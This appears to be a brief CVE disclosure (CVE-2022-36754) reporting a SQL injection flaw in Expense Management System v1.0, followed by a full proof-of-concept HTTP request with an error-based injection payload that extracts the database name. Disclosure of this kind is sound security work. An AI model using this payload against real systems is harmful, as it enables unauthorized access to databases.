Headline
CVE-2022-36754: 0724/sql.md at main · mikeccltt/0724
Expense Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /Home/debit_credit_p.
GET /ci_ems/Home/debit_credit_p?id=18'+and++updatexml(1,concat(0x7e,(select+database()),0x7e),0)--+ HTTP/1.1
Host: 172.20.10.13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://172.20.10.13/ci_ems/Home/view_clients
Cookie: PHPSESSID=hs2g51l1gmlikit3icuq6kf4an; ci_session=a7e1tk4u5ih48n1d88etb314b7gv37qn
Upgrade-Insecure-Requests: 1